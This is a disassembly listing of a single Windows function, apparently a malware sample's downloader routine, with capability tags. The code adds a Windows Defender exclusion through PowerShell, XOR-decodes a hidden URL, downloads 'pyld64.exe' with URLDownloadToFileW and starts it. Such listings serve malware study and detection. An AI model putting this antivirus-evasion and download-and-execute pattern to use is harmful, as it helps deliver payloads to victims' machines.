Function at 0x1400166b0
Capabilities:
Download url
Get common file path
Receive data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x200]
sub rsp, 0x300
mov rax, qword [0x140068080]
xor rax, rsp
mov qword [rbp + 0x1f0], rax
xor edi, edi
xor edx, edx
mov r8d, 0x208
lea rcx, [rbp - 0x20]
call fcn.140033b50
lea rdx, [rbp - 0x20]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
xorps xmm0, xmm0
movups xmmword [rbp - 0x68], xmm0
mov qword [rbp - 0x58], rdi
mov qword [rbp - 0x50], rdi
lea rax, [rbp - 0x20]
mov rbx, 0xffffffffffffffff
mov r8, rbx
nop
inc r8
cmp word [rax + r8*2], di
jne 0x140016720
lea rdx, [rbp - 0x20]
lea rcx, [rbp - 0x68]
call fcn.14000bf70
nop
lea rax, str.pyld64.exe
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 0xd
lea rax, [rbp - 0x68]
cmp qword [rbp - 0x50], 7
cmova rax, qword [rbp - 0x68]
mov qword [rsp + 0x40], rax
mov rax, qword [rbp - 0x58]
mov qword [rsp + 0x48], rax
movups xmm0, xmmword [rsp + 0x40]
movups xmmword [rsp + 0x58], xmm0
movabs rsi, 0xc000000000000000
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x40], 1
lea rax, [rsp + 0x50]
mov qword [rsp + 0x48], rax
movaps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x40], xmm0
movaps xmm1, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm1
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x48]
call fcn.14000d2d0
nop
lea rax, str.powershell__Command__Add_MpPreference__ExclusionPath__
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 0x3a
lea rax, [rbp - 0x68]
cmp qword [rbp - 0x50], 7
cmova rax, qword [rbp - 0x68]
mov qword [rsp + 0x30], rax
mov rax, qword [rbp - 0x58]
mov qword [rsp + 0x38], rax
movups xmm0, xmmword [rsp + 0x30]
movups xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x30], 1
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rax
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
movaps xmm1, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x40], xmm1
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x70]
call fcn.14000d2d0
nop
mov edx, 0x2710
lea rcx, [rsp + 0x70]
call fcn.1400164c0
nop
mov rdx, qword [rbp - 0x78]
cmp rdx, 7
jbe 0x14001688e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140016889
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140016d5e
call fcn.14001aae0
xor byte [0x140068cf0], 0xee
xor byte [0x140068cf1], 0xb4
xor byte [0x140068cf2], 0xb0
xor byte [0x140068cf3], 0xef
xor byte [0x140068cf4], 0xfd
xor byte [0x140068cf5], 0xae
xor byte [0x140068cf6], 0xad
xor byte [0x140068cf7], 0xed
xor byte [0x140068cf8], 0xcc
xor byte [0x140068cf9], 0xca
xor byte [0x140068cfa], 0xc7
xor byte [0x140068cfb], 0xea
xor byte [0x140068cfc], 0xde
xor byte [0x140068cfd], 0xf0
xor byte [0x140068cfe], 0x78
xor byte [0x140068cff], 0xf1
xor byte [0x140068d00], 0xee
xor byte [0x140068d01], 0xb4
xor byte [0x140068d02], 0xb0
xor byte [0x140068d03], 0xef
xor byte [0x140068d04], 0xfd
xor byte [0x140068d05], 0xae
xor byte [0x140068d06], 0xad
xor byte [0x140068d07], 0xed
xor byte [0x140068d08], 0xcc
xor byte [0x140068d09], 0xca
xor byte [0x140068d0a], 0xc7
xor byte [0x140068d0b], 0xea
xor byte [0x140068d0c], 0xde
xor byte [0x140068d0d], 0xf0
xor byte [0x140068d0e], 0x78
xor byte [0x140068d0f], 0xf1
xor byte [0x140068d10], 0xee
xor byte [0x140068d11], 0xb4
xor byte [0x140068d12], 0xb0
xor byte [0x140068d13], 0xef
xor byte [0x140068d14], 0xfd
xor byte [0x140068d15], 0xae
xor byte [0x140068d16], 0xad
xor byte [0x140068d17], 0xed
xor byte [0x140068d18], 0xcc
xor byte [0x140068d19], 0xca
xor byte [0x140068d1a], 0xc7
xor byte [0x140068d1b], 0xea
xor byte [0x140068d1c], 0xde
xor byte [0x140068d1d], 0xf0
xor byte [0x140068d1e], 0x78
xor byte [0x140068d1f], 0xf1
xor byte [0x140068d20], 0xee
xor byte [0x140068d21], 0xb4
xor byte [0x140068d22], 0xb0
xor byte [0x140068d23], 0xef
xor byte [0x140068d24], 0xfd
xor byte [0x140068d25], 0xae
xor byte [0x140068d26], 0xad
xor byte [0x140068d27], 0xed
xor byte [0x140068d28], 0xcc
xor byte [0x140068d29], 0xca
xor byte [0x140068d2a], 0xc7
xor byte [0x140068d2b], 0xea
xor byte [0x140068d2c], 0xde
xor byte [0x140068d2d], 0xf0
xor byte [0x140068d2e], 0x78
xor byte [0x140068d2f], 0xf1
xor byte [0x140068d30], 0xee
xor byte [0x140068d31], 0xb4
xor byte [0x140068d32], 0xb0
xor byte [0x140068d33], 0xef
xor byte [0x140068d34], 0xfd
xor byte [0x140068d35], 0xae
xor byte [0x140068d36], 0xad
xor byte [0x140068d37], 0xed
xor byte [0x140068d38], 0xcc
xor byte [0x140068d39], 0xca
xor byte [0x140068d3a], 0xc7
xor byte [0x140068d3b], 0xea
xor byte [0x140068d3c], 0xde
xor byte [0x140068d3d], 0xf0
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
lea rdx, [0x140068cf0]
nop dword [rax + rax]
inc rbx
cmp byte [rdx + rbx], 0
jne 0x140016ad0
mov r8, rbx
lea rcx, [rsp + 0x50]
call fcn.14000c1f0
nop
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x70]
call fcn.1400163c0
lea r8, [rbp - 0x48]
cmp qword [rbp - 0x30], 7
cmova r8, qword [rbp - 0x48]
cmp qword [rax + 0x18], 7
jbe 0x140016b0e
mov rax, qword [rax]
mov qword [rsp + 0x20], rdi
xor r9d, r9d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov ebx, eax
shr ebx, 0x1f
xor bl, 1
mov rdx, qword [rbp - 0x78]
cmp rdx, 7
jbe 0x140016b6a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140016b65
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140016d64
call fcn.14001aae0
movdqa xmm0, xmmword [0x140060d90]
movdqu xmmword [rbp - 0x80], xmm0
mov word [rsp + 0x70], di
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x140016bb9
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140016bb4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140016d6a
call fcn.14001aae0
test bl, bl
je 0x140016ca1
lea rax, str.start______
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 0xd
lea rax, [rbp - 0x48]
cmp qword [rbp - 0x30], 7
cmova rax, qword [rbp - 0x48]
mov qword [rsp + 0x30], rax
mov rax, qword [rbp - 0x38]
mov qword [rsp + 0x38], rax
movups xmm0, xmmword [rsp + 0x30]
movups xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x30], 1
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rax
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
movaps xmm1, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x40], xmm1
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x70]
call fcn.14000d2d0
nop
xor edx, edx
lea rcx, [rsp + 0x70]
call fcn.1400164c0
movzx ebx, al
mov rdx, qword [rbp - 0x78]
cmp rdx, 7
jbe 0x140016c8f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140016c8a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140016d70
call fcn.14001aae0
movdqa xmm0, xmmword [0x140060d90]
movdqu xmmword [rbp - 0x80], xmm0
mov word [rsp + 0x70], di
mov rdx, qword [rbp - 0x30]
cmp rdx, 7
jbe 0x140016ce1
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140016cdc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140016d76
call fcn.14001aae0
mov qword [rbp - 0x38], rdi
mov qword [rbp - 0x30], 7
mov word [rbp - 0x48], di
mov rdx, qword [rbp - 0x50]
cmp rdx, 7
jbe 0x140016d2d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140016d28
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140016d58
call fcn.14001aae0
movzx eax, bl
mov rcx, qword [rbp + 0x1f0]
xor rcx, rsp
call fcn.14001aac0
lea r11, [rsp + 0x300]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
call fcn.140022428
nop
call fcn.140022428
nop
call fcn.140022428
nop
call fcn.140022428
int3
call fcn.140022428
nop
call fcn.140022428
int3